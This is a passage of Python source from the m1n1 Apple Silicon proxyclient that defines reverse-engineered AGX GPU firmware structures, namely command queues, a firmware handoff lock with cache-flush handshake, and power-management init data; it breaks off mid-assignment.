class CommandQueueInfo(ConstructClass): """ Structure type shared by Submit3D, SubmitTA and SubmitCompute Applications have multiple of these, one of each submit type TODO: Can applications have more than one of each type? One per encoder? Mostly managed by GPU, only initialize by CPU """ subcon = Struct( "pointers_addr" / Hex(Int64ul), "pointers" / ROPointer(this.pointers_addr, CommandQueuePointers), "rb_addr" / Hex(Int64ul), # 0x4ff pointers "job_list_addr" / Hex(Int64ul), # ffffffa000000000, size 0x18 (shared by 3D and TA) "job_list" / ROPointer(this.job_list_addr, JobList), "gpu_buf_addr" / Hex(Int64ul), # GPU space for this queue, 0x2c18 bytes? #"gpu_buf" / ROPointer(this.gpu_buf_addr, HexDump(Bytes(0x2c18))), "gpu_rptr1" / Hex(Int32ul), "gpu_rptr2" / Hex(Int32ul), "gpu_rptr3" / Hex(Int32ul), "event_id" / Int32sl, "unk_30" / Hex(Int32ul), # read by CPU "unk_34" / Hex(Int32ul), "unk_38" / Hex(Int64ul), "unk_40" / Hex(Int32ul), # 1 "unk_44" / Hex(Int32ul), # 0 "unk_48" / Hex(Int32ul), # 1, 2 "unk_4c" / Int32sl, # -1 "uuid" / Hex(Int32ul), # Counts up for each new process or command queue "unk_54" / Int32sl, "unk_58" / Hex(Int64ul), # 0 "busy" / Hex(Int32ul), # 1 = gpu busy "pad1" / ZPadding(0x1c), "unk_80" / Hex(Int32ul), "blocked_on_barrier" / Hex(Int32ul), "unk_88" / Int32ul, "unk_8c" / Int32ul, "unk_90" / Int32ul, "unk_94" / Int32ul, "pending" / Int32ul, "unk_9c" / Int32ul, Ver("V >= V13_2 && G < G14X", "unk_a0_0" / Int32ul), "gpu_context_addr" / Hex(Int64ul), # GPU managed context, shared between 3D and TA. Passed to DC_DestroyContext "gpu_context" / ROPointer(this.gpu_context_addr, GPUContextData), "unk_a8" / Int64ul, Ver("V >= V13_2 && G < G14X", "unk_b0" / Int32ul), # End of struct ) def __init__(self): super().__init__() self.gpu_rptr1 = 0 self.gpu_rptr2 = 0 self.gpu_rptr3 = 0 self.event_id = -1 self.unk_4c = -1 self.uuid = 0xdeadbeef # some kind of ID self.unk_54 = -1 self.unk_58 = 0x0 self.busy = 0x0 self.blocked_on_barrier = 0x0 self.unk_80 = 0 self.unk_88 = 0 self.unk_8c = 0 self.unk_90 = 0 self.unk_94 = 0 self.pending = 0 self.unk_9c = 0 self.unk_a0_0 = 0 self.set_prio(0) self.unk_a8 = 0 self.unk_b0 = 0 def set_prio(self, p): if p == 0: self.unk_30 = 0 self.unk_34 = 0 # 0-3? self.unk_38 = 0xffff_ffff_ffff_0000 self.unk_40 = 1 self.unk_44 = 0 self.unk_48 = 1 elif p == 1: self.unk_30 = 1 self.unk_34 = 1 self.unk_38 = 0xffff_ffff_0000_0000 self.unk_40 = 0 self.unk_44 = 0 self.unk_48 = 0 elif p == 2: self.unk_30 = 2 self.unk_34 = 2 self.unk_38 = 0xffff_0000_0000_0000 self.unk_40 = 0 self.unk_44 = 0 self.unk_48 = 2 else: self.unk_30 = 3 self.unk_34 = 3 self.unk_38 = 0x0000_0000_0000_0000 self.unk_40 = 0 self.unk_44 = 0 self.unk_48 = 3 __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/fw/agx/handoff.py000066400000000000000000000067261453754430200207020ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ...utils import * from contextlib import contextmanager PPL_MAGIC = 0x4b1d000000000002 class GFXHandoffStruct(RegMap): MAGIC_AP = 0x0, Register64 MAGIC_FW = 0x8, Register64 LOCK_AP = 0x10, Register8 LOCK_FW = 0x11, Register8 TURN = 0x14, Register32 CUR_CTX = 0x18, Register32 FLUSH_STATE = irange(0x20, 0x41, 0x18), Register64 FLUSH_ADDR = irange(0x28, 0x41, 0x18), Register64 FLUSH_SIZE = irange(0x30, 0x41, 0x18), Register64 UNK2 = 0x638, Register8 UNK3 = 0x640, Register64 class GFXHandoff: def __init__(self, u): self.u = u self.sgx_dev = self.u.adt["/arm-io/sgx"] self.base = self.sgx_dev.gfx_handoff_base self.reg = GFXHandoffStruct(u, self.base) self.is_locked = False self.initialized = False @contextmanager def lock(self): """Dekker's algorithm lock""" assert not self.is_locked # Note: This *absolutely* needs barriers everywhere. # Those are implicit in proxyclient for every operation. self.reg.LOCK_AP.val = 1 while self.reg.LOCK_FW.val != 0: if self.reg.TURN != 0: self.reg.LOCK_AP = 0 while self.reg.TURN != 0: pass self.reg.LOCK_AP = 1 self.is_locked = True try: yield finally: self.reg.TURN.val = 1 self.reg.LOCK_AP.val = 0 self.is_locked = False def initialize(self): if self.initialized: return print("[Handoff] Initializing...") self.reg.MAGIC_AP.val = PPL_MAGIC self.reg.UNK = 0xffffffff self.reg.UNK3 = 0 with self.lock(): print("[Handoff] Waiting for FW PPL init...") while self.reg.MAGIC_FW.val != PPL_MAGIC: pass for i in range(0x41): self.reg.FLUSH_STATE[i].val = 0 self.reg.FLUSH_ADDR[i].val = 0 self.reg.FLUSH_SIZE[i].val = 0 self.initialized = True print("[Handoff] Initialized!") # The order here is: # - Remap memory as shared # - TLBI # - prepare_cacheflush() # - issue FWCtl request # - wait for completion (ring or wait_cacheflush?) # - Unmap memory # - TLBI # - complete_cacheflush() def prepare_cacheflush(self, base, size, context=0x40): assert self.reg.FLUSH_STATE[context].val == 0 self.reg.FLUSH_ADDR[context].val = base self.reg.FLUSH_SIZE[context].val = size self.reg.FLUSH_STATE[context].val = 1 def wait_cacheflush(self, context=0x40): while self.reg.FLUSH_STATE[context].val == 1: pass def complete_cacheflush(self, context=0x40): assert self.reg.FLUSH_STATE[context].val == 2 self.reg.FLUSH_STATE[context].val = 0 # probably not necessary? # order is: # - Remap memory as shared # - (no TLBI?) # - prepare_unmap() # - unmap # - TLBI # - complete_unmap() def prepare_unmap(self, base, size, context): assert self.reg.FLUSH_STATE[context].val == 0 self.reg.FLUSH_ADDR[context].val = 0xdead000000000000 | (base & 0xffffffffffff) self.reg.FLUSH_SIZE[context].val = size self.reg.FLUSH_STATE[context].val = 2 def complete_unmap(self, context): assert self.reg.FLUSH_STATE[context].val == 2 self.reg.FLUSH_STATE[context].val = 0 m1n1-1.4.11/proxyclient/m1n1/fw/agx/initdata.py000066400000000000000000002217361453754430200210720ustar00rootroot00000000000000from m1n1.utils import * from m1n1.constructutils import * from construct import * from construct.lib import hexundump from .channels import ChannelInfoSet, ChannelInfo __all__ = [] class InitData_FWStatus(ConstructClass): subcon = Struct( "fwctl_channel" / ChannelInfo, "halt_count" / Int32ul, ZPadding(0xc), "halted" / Int32ul, ZPadding(0xc), "resume" / Int32ul, ZPadding(0xc), "unk_40" / Int32ul, ZPadding(0xc), "unk_ctr" / Int32ul, ZPadding(0xc), "unk_60" / Int32ul, ZPadding(0xc), "unk_70" / Int32ul, ZPadding(0xc), ) def __init__(self): super().__init__() self.halt_count = 0 self.halted = 0 self.resume = 0 self.unk_40 = 0 self.unk_ctr = 0 self.unk_60 = 0 self.unk_70 = 0 class AGXHWDataShared1(ConstructClass): subcon = Struct( "table" / Array(16, Int32sl), "unk_44" / HexDump(Bytes(0x60)), "unk_a4" / Int32ul, "unk_a8" / Int32ul, ) def __init__(self, chip_info): super().__init__() self.table = chip_info.shared1_tab self.unk_44 = bytes(0x60) self.unk_a4 = chip_info.shared1_a4 self.unk_a8 = 0 class AGXHWDataShared2Curve(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "unk_4" / Int32ul, "t1" / Array(16, Int16ul), "t2" / Array(16, Int16sl), "t3" / Array(8, Array(16, Int32sl)), ) def __init__(self, unk_0=0, unk_4=0, t1=None, t2=None, t3=None): self.unk_0 = unk_0 self.unk_4 = unk_4 if not t1: self.t1 = [0] * 16 else: self.t1 = t1 + [t1[0]] * (16 - len(t1)) if not t2: self.t2 = [0] * 16 else: self.t2 = t2 + [t2[0]] * (16 - len(t2)) if t3 is None: self.t3 = [[0] * 16] * 8 else: self.t3 = ([(i + [0x3ffffff] * (16 - len(i))) for i in t3] + [[0x3ffffff] * 16] * (8 - len(t3))) class AGXHWDataShared2T8112(ConstructClass): subcon = Struct( "unk_0" / Array(5, Int32ul), "unk_14" / Int32ul, "unk_18" / Array(8, Int32ul), "curve1" / AGXHWDataShared2Curve, "curve2" / AGXHWDataShared2Curve, ) def __init__(self, sgx, chip_info): self.unk_0 = [0] * 5 self.unk_18 = [0] * 8 if not chip_info.shared2_t1_coef: self.unk_14 = 0 self.curve1 = AGXHWDataShared2Curve() self.curve2 = AGXHWDataShared2Curve() return count = sgx.perf_state_count table_count = sgx.perf_state_table_count t1 = [0xffff] t3 = [[0x3ffffff] for i in range(len(chip_info.shared2_t3_scales))] for i in range(1, count): f_ghz = sgx.perf_states[i].freq / 1000000 v_max = max(sgx.perf_states[i + j * count].volt / 1000 for j in range(table_count)) t1.append(int(1000 * chip_info.shared2_t1_coef / (f_ghz * v_max))) x = 1000 * chip_info.shared2_t3_coefs[i] / (f_ghz * v_max * 6.0) for j, scale in enumerate(chip_info.shared2_t3_scales): t3[j].append(int(x * scale)) self.unk_14 = 0x6000000 self.curve1 = AGXHWDataShared2Curve( 0, 0x20000000, [0xffff], [0x0f07], [[]] ) self.curve2 = AGXHWDataShared2Curve( 7, 0x80000000, t1, chip_info.shared2_t2, t3 ) class AGXHWDataShared3(ConstructClass): subcon = Struct( "unk_0" / Dec(Int32ul), "unk_4" / Dec(Int32ul), "unk_8" / Dec(Int32ul), "table" / Array(16, Dec(Int32ul)), "unk_4c" / Dec(Int32ul), ) def __init__(self, chip_info): if chip_info.shared3_tab is not None: self.unk_0 = 1 self.unk_4 = 500 self.unk_8 = chip_info.shared3_unk self.table = chip_info.shared3_tab self.unk_4c = 1 else: self.unk_0 = 0 self.unk_4 = 0 self.unk_8 = 0 self.table = [0] * 16 self.unk_4c = 0 class AGXHWDataShared2(ConstructClass): subcon = Struct( "table" / Array(10, Int32sl), "unk_28" / HexDump(Bytes(0x10)), "unk_38" / AGXHWDataShared2T8112, "unk_500" / Int32ul, "unk_504" / Int32ul, "unk_508" / Int32ul, "unk_50c" / Int32ul, ) def __init__(self, sgx, chip_info): super().__init__() self.table = chip_info.shared2_tab self.unk_20 = bytes(8) self.unk_28 = b"\xff" * 16 self.unk_38 = AGXHWDataShared2T8112(sgx, chip_info) self.unk_500 = 0 self.unk_504 = 0 self.unk_508 = chip_info.shared2_unk_508 self.unk_50c = 0 self.unk_510 = 0 class AGXHWDataA130Extra(ConstructClass): subcon = Struct( "unk_0" / HexDump(Bytes(0x38)), "unk_38" / Dec(Int32ul), "unk_3c" / Dec(Int32ul), "gpu_se_inactive_threshold" / Dec(Int32ul), "unk_44" / Int32ul, "gpu_se_engagement_criteria" / Dec(Int32sl), "gpu_se_reset_criteria" / Dec(Int32ul), "unk_50" / Int32ul, "unk_54" / Dec(Int32ul), "unk_58" / Int32ul, "unk_5c" / Int32ul, "gpu_se_filter_a_neg" / Float32l, "gpu_se_filter_1_a_neg" / Float32l, "gpu_se_filter_a" / Float32l, "gpu_se_filter_1_a" / Float32l, "gpu_se_ki_dt" / Float32l, "gpu_se_ki_1_dt" / Float32l, "unk_78" / Float32l, "unk_7c" / Float32l, "gpu_se_kp" / Float32l, "gpu_se_kp_1" / Float32l, "unk_88" / Int32ul, "unk_8c" / Dec(Int32ul), "max_pstate_scaled_1" / Dec(Int32ul), "unk_94" / Int32ul, "unk_98" / Int32ul, "unk_9c" / Float32l, "unk_a0" / Dec(Int32ul), "unk_a4" / Int32ul, "gpu_se_filter_time_constant_ms" / Dec(Int32ul), "gpu_se_filter_time_constant_1_ms" / Dec(Int32ul), "gpu_se_filter_time_constant_clks" / Dec(Int64ul), "gpu_se_filter_time_constant_1_clks" / Dec(Int64ul), "unk_c0" / Int32ul, "unk_c4" / Float32l, "unk_c8" / HexDump(Bytes(0x4c)), "unk_114" / Float32l, "unk_118" / Int32ul, "unk_11c" / Int32ul, "unk_120" / Int32ul, "unk_124" / Dec(Int32ul), "max_pstate_scaled_2" / Dec(Int32ul), "unk_12c" / HexDump(Bytes(0x8c)), ) def __init__(self, chip_info, period_ms, max_pstate_scaled, sgx): super().__init__() base_clock_khz = 24000 self.unk_0 = bytes(0x38) self.unk_38 = 4 self.unk_3c = 8000 self.gpu_se_inactive_threshold = sgx.getprop("gpu-se-inactive-threshold", 2500) self.unk_44 = 0x0 self.gpu_se_engagement_criteria = sgx.getprop("gpu-se-engagement-criteria", -1) self.gpu_se_reset_criteria = sgx.getprop("gpu-se-reset-criteria", 50) self.unk_50 = 0x0 self.unk_54 = 50 self.unk_58 = 0x1 self.unk_5c = 0x0 self.gpu_se_filter_a = 1.0 / sgx.getprop("gpu-se-filter-time-constant", 9) self.gpu_se_filter_a_neg = 1 - self.gpu_se_filter_a self.gpu_se_filter_1_a = 1.0 / sgx.getprop("gpu-se-filter-time-constant-1", 3) self.gpu_se_filter_1_a_neg = 1 - self.gpu_se_filter_1_a self.gpu_se_ki_dt = sgx.getprop("gpu-se-ki", -50.0) / (1000 / period_ms) self.gpu_se_ki_1_dt = sgx.getprop("gpu-se-ki-1", -100.0) / (1000 / period_ms) self.unk_78 = 0.0 self.unk_7c = 65536.0 self.gpu_se_kp = sgx.getprop("gpu-se-kp", -5.0) self.gpu_se_kp_1 = sgx.getprop("gpu-se-kp-1", -10.0) self.unk_88 = 0x0 if Ver.check("V >= V13_3"): self.unk_8c = 100 else: self.unk_8c = 40 self.max_pstate_scaled_1 = max_pstate_scaled self.unk_94 = 0x0 self.unk_98 = 0x0 self.unk_9c = 8000.0 self.unk_a0 = 1400 self.unk_a4 = 0x0 self.gpu_se_filter_time_constant_ms = sgx.getprop("gpu-se-filter-time-constant", 9) * period_ms self.gpu_se_filter_time_constant_1_ms = sgx.getprop("gpu-se-filter-time-constant-1", 3) * period_ms self.gpu_se_filter_time_constant_clks = self.gpu_se_filter_time_constant_ms * base_clock_khz self.unk_b4 = 0x0 self.gpu_se_filter_time_constant_1_clks = self.gpu_se_filter_time_constant_1_ms * base_clock_khz self.unk_bc = 0x0 self.unk_c0 = 0x0 self.unk_c4 = 65536.0 self.unk_c8 = bytes(0x4c) self.unk_114 = 65536.0 self.unk_118 = 0x0 self.unk_11c = 0x0 self.unk_120 = 0x0 self.unk_124 = 40 self.max_pstate_scaled_2 = max_pstate_scaled self.unk_12c = bytes(0x8c) class AGXHWDataT81xx(ConstructClass): subcon = Struct( "unk_d8c" / Int32ul, "unk_d90" / Int32ul, "unk_d94" / Int32ul, "unk_d98" / Int32ul, "unk_d9c" / Float32l, "unk_da0" / Int32ul, "unk_da4" / Float32l, "unk_da8" / Int32ul, "unk_dac" / Float32l, "unk_db0" / Int32ul, "unk_db4" / Int32ul, "unk_db8" / Float32l, "unk_dbc" / Float32l, "unk_dc0" / Int32ul, "unk_dc4" / Int32ul, "unk_dc8" / Int32ul, "unk_dcc" / Int32ul, ) def __init__(self, sgx, chip_info): if chip_info.chip_id in (0x8103, 0x8112) and Ver.check("V < V13_3"): self.unk_d8c = 0x80000000 self.unk_d90 = 4 self.unk_d94 = 0 self.unk_d98 = 0 self.unk_d9c = 0.6 self.unk_da0 = 0 self.unk_da4 = 0.4 self.unk_da8 = 0 self.unk_dac = 0.38552 self.unk_db0 = 0 self.unk_db4 = 0 self.unk_db8 = 65536.0 self.unk_dbc = 13.56 self.unk_dc0 = 0 self.unk_dc4 = 0 self.unk_dc8 = 0 self.unk_dcc = 100 * sgx.gpu_num_perf_states else: self.unk_d8c = 0 self.unk_d90 = 0 self.unk_d94 = 0 self.unk_d98 = 0 self.unk_d9c = 0 self.unk_da0 = 0 self.unk_da4 = 0 self.unk_da8 = 0 self.unk_dac = 0 self.unk_db0 = 0 self.unk_db4 = 0 self.unk_db8 = 0 self.unk_dbc = 0 self.unk_dc0 = 0 self.unk_dc4 = 0 self.unk_dc8 = 0 self.unk_dcc = 0 class PowerZone(ConstructClass): subcon = Struct( "val" / Float32l, "target" / Dec(Int32ul), "target_off" / Dec(Int32ul), "filter_tc_x4" / Dec(Int32ul), "filter_tc_xperiod" / Dec(Int32ul), Ver("V >= V13_0B4", "unk_10" / Dec(Int32ul)), Ver("V >= V13_0B4", "unk_14" / Dec(Int32ul)), "filter_tc_neginv" / Float32l, "filter_tc_inv" / Float32l, "pad" / Int32ul, ) def __init__(self, tc=None, target=None, off=None, period_ms=None): self.val = 0.0 self.pad = 0 if tc is None: self.target = 0 self.target_off = 0 self.filter_tc_x4 = 0 self.filter_tc_xperiod = 0 self.unk_10 = 0 self.unk_14 = 0 self.filter_tc_neginv = 0 self.filter_tc_inv = 0 else: self.target = target self.target_off = self.target - off self.filter_tc_x4 = tc * 4 self.filter_tc_xperiod = tc * period_ms self.unk_10 = 1320000000 self.unk_14 = 0 self.filter_tc_neginv = 1 / tc self.filter_tc_inv = 1 - 1 / tc class AGXHWDataA(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "clocks_per_period" / Int32ul, Ver("V >= V13_0B4", "clocks_per_period_2" / Int32ul), "unk_8" / Int32ul, "pwr_status" / Int32ul, "unk_10" / Float32l, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, "unk_20" / Int32ul, "unk_24" / Int32ul, "actual_pstate" / Int32ul, "tgt_pstate" / Int32ul, "unk_30" / Int32ul, "cur_pstate" / Int32ul, "unk_38" / Int32ul, Ver("V >= V13_0B4", "unk_3c_0" / Int32ul), "base_pstate_scaled" / Int32ul, "unk_40" / Int32ul, "max_pstate_scaled" / Int32ul, "unk_48" / Int32ul, "min_pstate_scaled" / Int32ul, "freq_mhz" / Float32l, "unk_54" / HexDump(Bytes(0x20)), Ver("V >= V13_0B4", "unk_74_0" / Int32ul), "unk_74" / Array(16, Float32l), "unk_b4" / HexDump(Bytes(0x100)), "unk_1b4" / Int32ul, "temp_c" / Int32ul, "avg_power_mw" / Dec(Int32ul), "update_ts" / Int64ul, "unk_1c8" / Int32ul, "unk_1cc" / HexDump(Bytes(0x644 - 0x1cc)), "pad_644" / HexDump(Bytes(8)), "unk_64c" / Int32ul, "unk_650" / Int32ul, "pad_654" / Int32ul, "pwr_filter_a_neg" / Float32l, "pad_65c" / Int32ul, "pwr_filter_a" / Float32l, "pad_664" / Int32ul, "pwr_integral_gain" / Float32l, "pad_66c" / Int32ul, "pwr_integral_min_clamp" / Float32l, "max_power_1" / Float32l, "pwr_proportional_gain" / Float32l, "pad_67c" / Int32ul, "pwr_pstate_related_k" / Float32l, "pwr_pstate_max_dc_offset" / Int32sl, "unk_688" / Int32ul, "max_pstate_scaled_2" / Int32ul, "pad_690" / Int32ul, "unk_694" / Int32ul, "max_power_2" / Int32ul, "pad_69c" / HexDump(Bytes(0x18)), "unk_6b4" / Int32ul, Ver("V >= V13_0B4", "unk_6b8_0" / HexDump(Bytes(0x10))), "max_pstate_scaled_3" / Int32ul, "unk_6bc" / Int32ul, "pad_6c0" / HexDump(Bytes(0x14)), "ppm_filter_tc_periods_x4" / Int32ul, "unk_6d8" / Int32ul, "pad_6dc" / Int32ul, "ppm_filter_a_neg" / Float32l, "pad_6e4" / Int32ul, "ppm_filter_a" / Float32l, "pad_6ec" / Int32ul, "ppm_ki_dt" / Float32l, "pad_6f4" / Int32ul, "pwr_integral_min_clamp_2" / Int32ul, "unk_6fc" / Float32l, "ppm_kp" / Float32l, "pad_704" / Int32ul, "unk_708" / Int32ul, "pwr_min_duty_cycle" / Int32ul, "max_pstate_scaled_4" / Int32ul, "unk_714" / Int32ul, "pad_718" / Int32ul, "unk_71c" / Float32l, "max_power_3" / Int32ul, "cur_power_mw_2" / Int32ul, "ppm_filter_tc_ms" / Int32ul, "unk_72c" / Int32ul, Ver("V >= V13_0B4", "ppm_filter_tc_clks" / Int32ul), Ver("V >= V13_0B4", "unk_730_4" / Int32ul), Ver("V >= V13_0B4", "unk_730_8" / Int32ul), Ver("V >= V13_0B4", "unk_730_c" / Int32ul), "unk_730" / Float32l, "unk_734" / Int32ul, "unk_738" / Int32ul, "unk_73c" / Int32ul, "unk_740" / Int32ul, "unk_744" / Int32ul, "unk_748" / Array(4, Float32l), "unk_758" / Int32ul, "perf_tgt_utilization" / Int32ul, "pad_760" / Int32ul, "perf_boost_min_util" / Int32ul, "perf_boost_ce_step" / Int32ul, "perf_reset_iters" / Int32ul, "pad_770" / Int32ul, "unk_774" / Int32ul, "unk_778" / Int32ul, "perf_filter_drop_threshold" / Int32ul, "perf_filter_a_neg" / Float32l, "perf_filter_a2_neg" / Float32l, "perf_filter_a" / Float32l, "perf_filter_a2" / Float32l, "perf_ki" / Float32l, "perf_ki2" / Float32l, "perf_integral_min_clamp" / Float32l, "unk_79c" / Float32l, "perf_kp" / Float32l, "perf_kp2" / Float32l, "boost_state_unk_k" / Float32l, "base_pstate_scaled_2" / Dec(Int32ul), "max_pstate_scaled_5" / Dec(Int32ul), "base_pstate_scaled_3" / Dec(Int32ul), "pad_7b8" / Int32ul, "perf_cur_utilization" / Float32l, "perf_tgt_utilization_2" / Int32ul, "pad_7c4" / HexDump(Bytes(0x18)), "unk_7dc" / Int32ul, Ver("V >= V13_0B4", "unk_7e0_0" / HexDump(Bytes(0x10))), "base_pstate_scaled_4" / Dec(Int32ul), "pad_7e4" / Int32ul, "unk_7e8" / HexDump(Bytes(0x14)), "unk_7fc" / Float32l, "pwr_min_duty_cycle_2" / Float32l, "max_pstate_scaled_6" / Float32l, "max_freq_mhz" / Int32ul, "pad_80c" / Int32ul, "unk_810" / Int32ul, "pad_814" / Int32ul, "pwr_min_duty_cycle_3" / Int32ul, "unk_81c" / Int32ul, "pad_820" / Int32ul, "min_pstate_scaled_4" / Float32l, "max_pstate_scaled_7" / Dec(Int32ul), "unk_82c" / Int32ul, "unk_alpha_neg" / Float32l, "unk_alpha" / Float32l, "unk_838" / Int32ul, "unk_83c" / Int32ul, "pad_840" / HexDump(Bytes(0x86c - 0x838 - 8)), "unk_86c" / Int32ul, "fast_die0_sensor_mask64" / Int64ul, Ver("G >= G14X", "fast_die1_sensor_mask64" / Int64ul), "fast_die0_release_temp_cc" / Int32ul, "unk_87c" / Int32sl, "unk_880" / Int32ul, "unk_884" / Int32ul, "pad_888" / Int32ul, "unk_88c" / Int32ul, "pad_890" / Int32ul, "unk_894" / Float32l, "pad_898" / Int32ul, "fast_die0_ki_dt" / Float32l, "pad_8a0" / Int32ul, "unk_8a4" / Int32ul, "unk_8a8" / Float32l, "fast_die0_kp" / Float32l, "pad_8b0" / Int32ul, "unk_8b4" / Int32ul, "pwr_min_duty_cycle_4" / Int32ul, "max_pstate_scaled_8" / Dec(Int32ul), "max_pstate_scaled_9" / Dec(Int32ul), "fast_die0_prop_tgt_delta" / Int32ul, "unk_8c8" / Int32ul, "unk_8cc" / Int32ul, "pad_8d0" / HexDump(Bytes(0x14)), Ver("V >= V13_0B4", "unk_8e4_0" / HexDump(Bytes(0x10))), "unk_8e4" / Int32ul, "unk_8e8" / Int32ul, "max_pstate_scaled_10" / Dec(Int32ul), "unk_8f0" / Int32ul, "unk_8f4" / Int32ul, "pad_8f8" / Int32ul, "pad_8fc" / Int32ul, "unk_900" / HexDump(Bytes(0x24)), Ver("G < G14X", "unk_924" / Array(8, Array(8, Float32l))), Ver("G < G14X", "unk_a24" / Array(8, Array(8, Float32l))), Ver("G >= G14X", "unk_924" / Array(8, Array(16, Float32l))), Ver("G >= G14X", "unk_a24" / Array(8, Array(16, Float32l))), "unk_b24" / HexDump(Bytes(0x70)), "max_pstate_scaled_11" / Dec(Int32ul), "freq_with_off" / Int32ul, "unk_b9c" / Int32ul, "unk_ba0" / Int64ul, "unk_ba8" / Int64ul, "unk_bb0" / Int32ul, "unk_bb4" / Int32ul, Ver("V >= V13_3", "pad_bb8_0" / Default(HexDump(Bytes(0x200)), bytes(0x200))), Ver("V >= V13_5B4", "pad_bb8_200" / Default(HexDump(Bytes(8)), bytes(8))), "pad_bb8" / HexDump(Bytes(0xc2c - 0xbb8)), "unk_c2c" / Int32ul, "power_zone_count" / Int32ul, "max_power_4" / Int32ul, "max_power_5" / Int32ul, "max_power_6" / Int32ul, "unk_c40" / Int32ul, "unk_c44" / Float32l, "avg_power_target_filter_a_neg" / Float32l, "avg_power_target_filter_a" / Float32l, "avg_power_target_filter_tc_x4" / Dec(Int32ul), "avg_power_target_filter_tc_xperiod" / Dec(Int32ul), Ver("V >= V13_0B4", "avg_power_target_filter_tc_clks" / Int32ul), Ver("V >= V13_0B4", "unk_c58_4" / Int32ul), "power_zones" / Array(5, PowerZone), "avg_power_filter_tc_periods_x4" / Dec(Int32ul), "unk_cfc" / Int32ul, "unk_d00" / Int32ul, "avg_power_filter_a_neg" / Float32l, "unk_d08" / Int32ul, "avg_power_filter_a" / Float32l, "unk_d10" / Int32ul, "avg_power_ki_dt" / Float32l, "unk_d18" / Int32ul, "unk_d1c" / Int32ul, "unk_d20" / Float32l, "avg_power_kp" / Float32l, "unk_d28" / Int32ul, "unk_d2c" / Int32ul, "avg_power_min_duty_cycle" / Int32ul, "max_pstate_scaled_12" / Int32ul, "max_pstate_scaled_13" / Int32ul, "unk_d3c" / Int32ul, "max_power_7" / Float32l, "max_power_8" / Int32ul, "unk_d48" / Int32ul, "avg_power_filter_tc_ms" / Int32ul, "unk_d50" / Int32ul, Ver("V >= V13_0B4", "avg_power_filter_tc_clks" / Int32ul), Ver("V >= V13_0B4", "unk_d54_4" / HexDump(Bytes(0xc))), "unk_d54" / HexDump(Bytes(0x10)), "max_pstate_scaled_14" / Int32ul, "unk_d68" / Bytes(0x24), "t81xx_data" / AGXHWDataT81xx, "unk_dd0" / HexDump(Bytes(0x40)), Ver("V >= V13_2", "unk_e10_pad" / HexDump(Bytes(0x10))), Ver("V >= V13_0B4", "unk_e10_0" / AGXHWDataA130Extra), "unk_e10" / HexDump(Bytes(0xc)), "fast_die0_sensor_mask64_2" / Int64ul, Ver("G >= G14X", "fast_die1_sensor_mask64_2" / Int64ul), "unk_e24" / Int32ul, "unk_e28" / Int32ul, "unk_e2c" / HexDump(Bytes(0x1c)), Ver("G < G14X", "unk_e48" / Array(8, Array(8, Float32l))), Ver("G < G14X", "unk_f48" / Array(8, Array(8, Float32l))), Ver("G >= G14X", "unk_e48" / Array(8, Array(16, Float32l))), Ver("G >= G14X", "unk_f48" / Array(8, Array(16, Float32l))), Ver("G >= G14X", "pad_1048_0" / Default(HexDump(Bytes(0x600)), bytes(0x600))), "pad_1048" / Default(HexDump(Bytes(0x5e4)), bytes(0x5e4)), "fast_die0_sensor_mask64_alt" / Int64ul, Ver("G >= G14X", "fast_die1_sensor_mask64_alt" / Int64ul), Ver("V < V13_0B4", "fast_die0_sensor_present" / Int32ul), "unk_163c" / Int32ul, "unk_1640" / HexDump(Bytes(0x2000)), Ver("G >= G14X", "unk_3640_0" / Default(HexDump(Bytes(0x2000)), bytes(0x2000))), "unk_3640" / Int32ul, "unk_3644" / Int32ul, "hws1" / AGXHWDataShared1, Ver("V >= V13_0B4", "unk_hws2" / Array(16, Dec(Int16ul))), "hws2" / AGXHWDataShared2, "unk_3c00" / Int32ul, "unk_3c04" / Int32ul, "hws3" / AGXHWDataShared3, "unk_3c58" / HexDump(Bytes(0x3c)), "unk_3c94" / Int32ul, "unk_3c98" / Int64ul, "unk_3ca0" / Int64ul, "unk_3ca8" / Int64ul, "unk_3cb0" / Int64ul, "ts_last_idle" / Int64ul, "ts_last_poweron" / Int64ul, "ts_last_poweroff" / Int64ul, "unk_3cd0" / Int64ul, "unk_3cd8" / Int64ul, Ver("V >= V13_0B4", "unk_3ce0_0" / Int32ul), "unk_3ce0" / Int32ul, "unk_3ce4" / Int32ul, "unk_3ce8" / Int32ul, "unk_3cec" / Int32ul, "unk_3cf0" / Int32ul, "unk_3cf4" / Array(8, Float32l), "unk_3d14" / Array(8, Float32l), Ver("V >= V13_0B4", "unk_3d34_0" / Array(8, Float32l)), Ver("V >= V13_0B4", "unk_3d34_20" / Default(HexDump(Bytes(0x18)), bytes(0x18))), "unk_3d34" / HexDump(Bytes(0x38)), ) def __init__(self, sgx, chip_info): super().__init__() base_clock_khz = 24000 period_ms = sgx.gpu_power_sample_period clocks_per_period = sgx.getprop("gpu-pwr-sample-period-aic-clks", base_clock_khz * period_ms) self.unk_0 = 0 self.clocks_per_period = clocks_per_period self.clocks_per_period_2 = clocks_per_period self.unk_8 = 0 self.pwr_status = 4 self.unk_10 = 1.0 self.unk_14 = 0 self.unk_18 = 0 self.unk_1c = 0 self.unk_20 = 0 self.unk_24 = 0 self.actual_pstate = 1 self.tgt_pstate = 1 self.unk_30 = 0 self.cur_pstate = 0 self.unk_38 = 0 self.unk_3c_0 = 0 self.base_pstate_scaled = 100 * sgx.getprop("gpu-perf-base-pstate", 3) self.unk_40 = 1 self.max_pstate_scaled = 100 * sgx.gpu_num_perf_states self.unk_48 = 0 self.min_pstate_scaled = 100 self.freq_mhz = 0.0 self.unk_54 = bytes(0x20) self.unk_74_0 = 0 # perf related self.unk_74 = [0] * 16 self.unk_b4 = bytes(0x100) self.unk_1b4 = 0 self.temp_c = 0 self.avg_power_mw = 0 self.update_ts = 0 self.unk_1c8 = 0 self.unk_1cc = bytes(0x644 - 0x1cc) self.pad_644 = bytes(8) self.unk_64c = 625 self.unk_650 = 0 self.pad_654 = 0 self.pwr_filter_a_neg = 1 - 1 / sgx.getprop("gpu-pwr-filter-time-constant", 313) self.pad_65c = 0 self.pwr_filter_a = 1 - self.pwr_filter_a_neg self.pad_664 = 0 self.pwr_integral_gain = sgx.getprop("gpu-pwr-integral-gain", 0.0202129) self.pad_66c = 0 self.pwr_integral_min_clamp = sgx.getprop("gpu-pwr-integral-min-clamp", 0) self.max_power_1 = chip_info.max_power 